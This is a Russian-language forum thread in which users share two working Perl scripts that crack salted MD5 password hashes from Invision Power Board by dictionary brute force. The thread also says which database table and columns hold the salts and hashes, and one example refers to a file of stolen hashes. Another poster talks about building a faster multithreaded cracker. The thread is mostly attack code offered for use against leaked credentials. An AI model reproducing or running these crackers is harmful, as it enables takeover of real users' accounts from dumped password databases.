вот есть такая байда на перле для взлома соленых хэшей по словарю от IPB Code: #!/usr/bin/perl -w # Functional style use Digest::MD5 qw(md5_hex); $SIG{'INT'} = 'CLEANUP'; if (@ARGV < 4) { &usage; } $salt = $ARGV[0]; $pass_hash = $ARGV[1]; $wordlist = $ARGV[2]; $statename = $ARGV[3]; $output = $statename . "_output.txt"; $salt_hash = md5_hex($salt); open(INDICT, $wordlist) or die "Can't read " . $wordlist . "\n"; print "\nCTRL+C to save state\n\nRunning...\n"; print "Reading " . $wordlist . " into memory..\n"; @lines = <INDICT>; print "\n Attempting to crack password..\n"; my $array_element; foreach $array_element(@lines) { $line = $array_element; chomp $line; $cpass = md5_hex($line); $hybridhash = $salt_hash . $cpass; $current_hash = md5_hex($hybridhash); if ($current_hash eq $pass_hash) { open(PASS_FOUND,">> $output") or die "Can't write to " . $output . "\n"; print PASS_FOUND "---START---\nPassword acquired for " . $cpass . ":\n" . $line . "\n----END----\n"; close PASS_FOUND; print "---PASSWORD FOUND FOR HASH---\n" . $pass_hash . "\n" . $line . "\n"; exit(); } #end If } #End While close INDICT; sub usage() { print q( Invision Power Board v < 2.0.4 pass_hash Cracker ---------------------------------------------------- USAGE: ~~~~~~ ipb_cracker.pl [PSALT] [PHASH] [WLIST] [SNAME] [PSALT] - Salt for the password [PHASH] - Password Hash [WLIST] - Wordlist file to use [SNAME] - Name for this attempt Note: PSALT & PHASH can be found in: TABLE -ibf_members_converge ROWS |- converge_pass_salt |- converge_pass_hash e.g. ipb_cracker.pl Kl2op c6d6bd7ebf80f20f6f4db words.txt n0oBXpLoit3r ---------------------------------------------------- ); exit(); } sub CLEANUP { print "\n\nCaught Interrupt (^C), Aborting\n"; exit(1); } Добавлено qBiN'ом: В следущий раз постим скрипты в тегах если нужна подсветка то в PHP:
Скорость брута будет низкой, ИМХО... Если бы кто рассказал как на Дельфях в 5-10-25 потоков работать, я бы написал переборшик соленых хешей с приемлемой скоростью перебора...
Вот мой вариант... попроще будет ( может и немного быстрее поэтому ), да и ему можно файл с хэшами:солью скормить... PHP: # This is a very simple perl brutforcer for IPb MD5 hashes, # coded with md5_hex(md5_hex($salt).md5_hex($pass)) algorithm. # For usage you need a dictionary file and file with hashes (:-)) # Hashes have to be in this form: "username:hash:salt" # Good Luck! # # # (c)DetMyl 04.01.2006, [email protected] if (@ARGV < 2) { print q( +++++++++++++++++++++++++++++++++++++++++++++++++++ Usage: perl vB_hash.pl [dictionary file] [username:hash:salt file] I.e. : perl vB_hash.pl someBigDitionary.dic spizhzhenyeHashy.md5 +++++++++++++++++++++++++++++++++++++++++++++++++++ ); exit; } use Digest::MD5 'md5_hex'; $dictfile = $ARGV[0]; $hashSaltFile = ($ARGV[1] ne '') ? $ARGV[1] : $ARGV[0]; open (HASHFILE, $hashSaltFile) || die "couldn't open the file $hashSaltFile"; while ($hashes = <HASHFILE>) { ($user,$hash,$salt) = split(/:/, $hashes); $salt =~ s/\n//; if ( $hash eq md5_hex( md5_hex($salt).md5_hex($user) ) ) { print "FOUND!!! user: ".$user." pass:".$user."\n";next} #check with username open (DICTFILE, $dictfile) || die "couldn't open the file $dictfile"; while ($words = <DICTFILE>) { $words =~ s/\n//; if ( $hash eq md5_hex( md5_hex($salt).md5_hex($words) ) ) { print "FOUND!!! user: ".$user." pass:".$words."\n"; last;} } close(DICTFILE); } close(HASHFILE);